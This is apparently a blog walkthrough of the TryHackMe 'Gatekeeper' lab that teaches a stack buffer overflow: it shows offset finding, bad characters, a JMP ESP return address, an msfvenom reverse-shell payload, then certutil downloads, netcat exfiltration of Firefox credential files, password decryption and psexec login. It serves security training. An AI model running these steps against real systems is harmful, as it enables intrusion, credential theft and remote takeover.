Buffer Overflow: Basic stack buffer overflow guide/tutorial

Writeup for the room ‘Gatekeeper’ on TryHackMe

Phantom_95
11 min readFeb 9, 2021

Room Link | Medium difficulty

As per THM rules, write-ups shouldn’t include passwords/cracked hashes/flags. I can only help you find out how to get the answer, not give you the answer.

This is mainly a guide for a basic stack buffer overflow but will also include steps to complete the room, Gatekeeper, on TryHackMe. You will require a Windows VM with Immunity Debugger installed and the anti virus in the Windows VM should be off to prevent any files we are trying to exploit from being blocked. If you don’t understand the basics of buffer overflow, then check out TheCyberMentor’s guide as it should help.

Table of content

Deploy the machine and in the meantime, connect to the THM network:

sudo openvpn --config <your_vpn_file>

Lab setup

Let’s start by finding ports on the machine’s IP. I used Threader 3000 to find the ports as it is faster and then used an nmap to scan some of those ports.

threader3000
<Enter Machine IP when prompted>
nmap <Machine IP> -p139,135,445,3389,31337 -A
Port 31337 is running some service that we’ll check later

According to port 445, we can see that it is a Windows 7 machine that we are dealing with and this will be helpful later on. Using smbclient, we can try to find any available shares that we can access and see if there is anything we can use.

smbclient -L <Machine_IP>smbclient \\\\<Machine_IP>\\Users

I downloaded the gatekeeper.exe to my working directory file and started a python webserver there to download it onto the VM.

cd Share
get gatekeeper.exe
sudo python3 -m http.server 80

Using the certutil command, we can download the gatekeeper.exe on the Windows VM so that we can debug it.

cd Desktop
certutil -urlcache -f http://<Your_VPN_IP>/gatekeeper.exe

We can now change the privilege level for both gatekeeper.exe and ImmunityDebugger by doing the following:

Right Click on the app → Properties → Compatibility tab → Check ‘Run this program as an administrator

Before starting the debugging process, I only ran the gatekeeper.exe file and connected to gatekeeper.exe port on using Windows VM IP with netcat on port 31337 and tested the file. When I send a message, it returns with Hello <My Message>!!!

nc -nv <Windows_VM_IP> 31337

We can now start debugging. Open Immunity Debugger and click on File → Open. Locate the gatekeeper file, select it and click Open.

Once done, you should see a similar screen. At the bottom right corner, there will be the status of the program which will say Paused initially, but when you click the Run button as pointed by the red arrow below, you will then see Running. Make sure you click the Run button a few times.

Testing for buffer overflow

The program can take text input so now we will try to overflow that input by sending 5000 A’s. Using python, we can print out 5000 A’s, copy them and send them through netcat. Please note each time during the debug process after I send some input from netcat, I close the netcat sessions with Ctrl+C and re open Immunity Debugger.

python -c 'print (b"A"*5000)'

As you can see, when we send 5000 A’s in this program, the Immunity Debugger window will show the status as paused, meaning the program has probably crashed (you can see the listener’s window, it will say the program has crashed) but if you notice here, we were able to send our A’s into the ESP, EBP and EIP values as shown below.

nc -nv <Windows_VM_IP> 31337
<Send the 5000 A's once connection is open>
41 is the hex representation of A meaning EIP is filled with 4 A’s

Now we know that we can overflow it, we need to find the offset value. We can’t find it using A’s because almost everything else is filled with A’s so instead, we can create a pattern of 5000 bytes from which we can easily identify it.

msf-pattern_create -l 5000

Restart Immunity Debugger and re open the gatekeeper.exe file in Immunity Debugger. We will do this re opening process a few times so the fastest way to do it is to close the debugger once it crashes, re open it and press Ctrl+F2. Make sure to press the Run button a few times and that the status shows Running.

We can start netcat session again and send over the new pattern that we created.

nc -nv <Windows_VM_IP> 31337
<Send the 5000 bytes pattern once connection is open>

This time, when the program crashes, we must take note of the EIP register value and copy it by clicking it and then pressing Ctrl +C.

Using another msf tool, we can find the exact offset. Please note the EIP register value may or may not be different for you.

msf-pattern_offset -l 5000 -q <EIP register Value>

This time, we will try to reach the EIP register by using the offset value we just found so that we only send the appropriate amount of A’s with 4 B’s to cover the EIP register. We can print 146 A’s and 4 B’s and send that through netcat.

python -c 'print (b"A"*146 + b"B"*4)'

You know the drill! We must re open Immunity debugger and open gatekeeper.exe in it, connect to it using netcat and send the input. If you see the Register values now, you will see that EBP is 41414141 which A’s and the EIP is 42424242 which B’s meaning we got our offset correct and we can reach EIP register.

Finding bad chars

Using the script below(Task 2 has the script), we can print out bad characters and then send them as input. The purpose of this is to find any badchars that we need to avoid so that we can create the correct payload.

The script below automates the process of sending the buffer overflow payload. It connects to the IP on port 31337 and sends the buffer payload we created. The \r\n simulates the press of the Enter key.

Save the script above as exploit.py (For bad chars, just don’t copy from the image above, print them out using the other script above and paste those here) and restart ImmunityDebugger, press Ctrl + F2 and click Run a few times. Go to your working directory in your terminal and run the python script that automates the process of sending the buffer payload.

python3 exploit.py

Once you send it, you will see that the program crashed. Right click on the ESP register value again and click Follow in Dump.

From the badchar.py script which printed bad characters, copy and paste the bad chars in a new file. This process takes some time and I’m sure there are other ways to do it but I follow this method. We need to find any character from the right side that is missing on the left. You must start from after where 42 ends under Hex dump column, 01 starts which is \x01 on the right side. These are hex number so just quickly go through them and if you see anything out of place like a one of them missing for example: 07 08 09 and the next char should be 0a but instead it says 00 which means 0a is a bad character so note that down. Keep doing this until you reach ff in the hexdump on the left side. Once you get the hang of it, you can do it quickly. Please note that if you don’t find all bad characters for the program and miss out on even one, then your exploit won’t work so double check to make sure you got all the bad characters.

Finding JMP ESP

Don’t close the immunity debugger yet. Using the command line in Immunity Debugger at the bottom, search modules using the following command:

!mona modules

Most of the values should be false for the gatekeeper.exe or the file we are trying to exploit.

Now we need to find JMP ESP. We need to find this so we can use it to point to malicious code which will return us a shell. The \xff\xe4 is JMP ESP

!mona find -s "\xff\xe4" -m gatekeeper.exe

Right click on the first address that shows up, click Copy and then select Address.

Now click on the blue arrow as shown below, paste in the address you just copied and click OK.

The result should now show FFE4 and JMP ESP as shown below. We are on the right track. If it doesn’t then check the next address.

Paste the same address in the exploit.py and now replace the 4 B’s with the Little Endian form of the address of JMP ESP. Please note that the JMP ESP address might be different for you.

080414C3 becomes \xc3\x14\x04\x08buffer = b"A"*146 + b"\xc3\x14\x04\x08" + b"\x90" * 32

The \x90 are NOPs (No operations) which we should add as padding. If the exploit doesn’t work, then we can try reducing the NOPs. Please note I didn’t change the IP from the Windows_VM_IP in the image below yet but you will need to change it to the target IP which in this case is the Gatekeeper machine’s IP.

Creating malicious shell code

Create a payload for a reverse shell using msfvenom. LHOST is your IP and -b is the switch for excluding bad characters. As we found earlier \x0a is a bad character so we must include it here. \x00 is a bad character by default as it is a null byte. I created a windows version payload because the nmap scan earlier indicated that it is running Windows 7. I created the payload for a python file but sometimes the payload might be too big in which case you’ll need to create a c payload instead to get the exploit to work. This hasn’t happened to me yet but it is something to keep note of.

msfvenom -p windows/shell_reverse_tcp LHOST=<Your_VPN_IP> LPORT=<Any_open_port> -b "\x00\x0a" -f py

Copy the payload and paste it into the exploit.py as shown below. Now I changed the IP to the target machine.

Exploiting the buffer

Start a netcat lister on the port you gave in the msfvenom payload and run the exploit.

nc -lvnp 4444
python exploit.py

We have a shell!

User flag

We can now look for flags and escalate our privileges.

whoami
dir
type user.txt.txt

Root flag

The usual enumeration doesn’t work in this machine. Checking for privileges will not reveal anything useful and I wasn’t able to run winPEAS.exe on this machine.

To get the root flag, we need to extract credentials saved in Mozilla Firefox browser(Credits). Go to the following directory in the shell and start a python webserver on your machine where there is a netcat binary nc.exe

On victim machine:
cd c:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\
On attacker machine(Make sure nc.exe is in the directory):
sudo python3 -m http.server 80
Back on victim machine:
certutil -urlcache -f http://<Your_Machine_IP>:80/nc.exe nc.exe

To extract the credentials in Firefox, we need four files: cert9.db, cookies.sqlite, key4.db and logins.json

Please note there is a tool in metasploit that you can use to dump the credentials(Guide here). I’m doing manual enumeration as I wasn’t able to get a shell in metasploit.

On Attacker machine:
nc -lvnp 1234 > cert9.db
On Victim machine:
nc.exe -nv 10.4.6.6 1234 < cert9.db
Back on Attacker machine:
Open new terminal tab and use ls -la multiples times to check if the file size changes. Once it stops changing, go back to terminal where nc is running and press Ctrl + C. Just don't press Ctrl + C in the victim machine yet as you'll need to re connect by sending payload again.
Repeat the above steps for the rest of the files.

Using firefox_decrypt.py, we can extract the credentials.

python3 firefox_decrypt.py <directory_where_the_4_files_are_stored>
Press Enter for master password leaving it empty

Using psexec.py, we can get a shell using the credentials that we extracted.

python3 psexec.py GATEKEEPER/mayor:<Password_goes_here>@<Machine_IP>
whoami
cd ..\..\Users\mayor\Desktop
dir
type root.txt.txt

That is how you can do a basic stack overflow. Credit to TheCyberMentor as I followed his walkthrough of Brainstorm to learn how to do this. Follow me for more write-ups!

--

--

Phantom_95

I like all things IT but currently focused on being an IT Security Specialist.